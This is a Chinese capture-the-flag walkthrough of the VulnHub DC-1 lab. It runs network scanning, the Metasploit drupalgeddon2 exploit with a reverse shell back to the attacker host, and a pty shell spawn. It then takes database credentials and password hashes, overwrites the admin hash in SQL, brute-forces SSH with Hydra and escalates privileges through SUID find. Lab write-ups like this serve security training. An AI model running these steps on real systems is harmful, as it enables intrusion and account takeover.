靶机下载地址:https://www.vulnhub.com/entry/dc-1-1,292/
下载完靶机之后需要在虚拟机运行,并且要和kali连接同一网段
一、(信息收集)主机发现
arp-scan -l -I eth2
通过扫描发现靶机ip地址是192.168.42.133
二、(信息收集)端口扫描
nmap -A -p- 192.168.42.133
发现目标靶机开放了22端口ssh服务、80端口http服务、111端口PRC服务等
由于开放了22端口,我们可以尝试去爆破一下,但是不行。
但是通过扫描我们还发现了80端口,接下来进行访问web页面
三、web渗透
访问靶机ip地址得以下界面
此web服务使用了Drupal CMS模板
cms我们一般从cms出发找漏洞。用工具Metasploit找一下漏洞
四、漏洞利用
1.漏洞查找,启动msfconsole使用search drupal搜索相关模块
msfconsole -q ###安静的启动
search drupal ###搜索drupal模块
2.漏洞利用,使用unix/webapp/drupal_drupalgeddon2)模块,RHOSTS目标靶机地址,LHOSTS本地kali地址,LPORT设置端口,run执行。
use unix/webapp/drupal_drupalgeddon2) ###使用模块
set RHOSTS 192.168.42.133 ###此处ip地址为靶机地址
set LHOST 192.168.42.123 ###攻击端kali地址
set LPORT 4444 ###4444为端口需要设置未占用的端口
run
五、GatShell
5.1获得普通shell
然后执行ls命令
5.2获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'ww-data@DC-1:/var/www$
可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件
每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件
好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看
六、数据库渗透
由上面得到的用户密码登录进来mysql数据库
登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西
接着使用数据库并查看表格
注意这个user这个表,先看一下有什么。注意改小一下字体不然可能会挤爆不美观
得到两个用户
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin
方法一、修改admin密码
我们得先找到加密文件,Drupal的加密脚本在/var/www/scripts/password-hash.sh 目录下,我们先退出mysql 查看加密脚本。
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';
密码修改成功
方法二、添加admin权限用户
drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
然后看一下脚本的path
可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取
接着我们查看一下用户信息
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
七、用户密码爆破
利用工具Hydra爆破flag4的密码
爆破出密码orange,然后我们用kali连接ssh
查看到有一个flag4.txt文件cat看一下
打开了flag4.txt,emmm其实好像也没啥
八、提权
利用find命令,找查具有SUID权限的可执行二进制文件
finde比较常用,可以执行root权限的命令查找文件
可以看到已经提权成功了,接下来我们只要找到剩下的flag就算通关了
拿到第五个flag了,通关成功了
至此,打靶完成以上是我的实操经验,如果各位读者有不懂或者需要纠正的地方请在评论区留言指出,本人看到会第一时间回复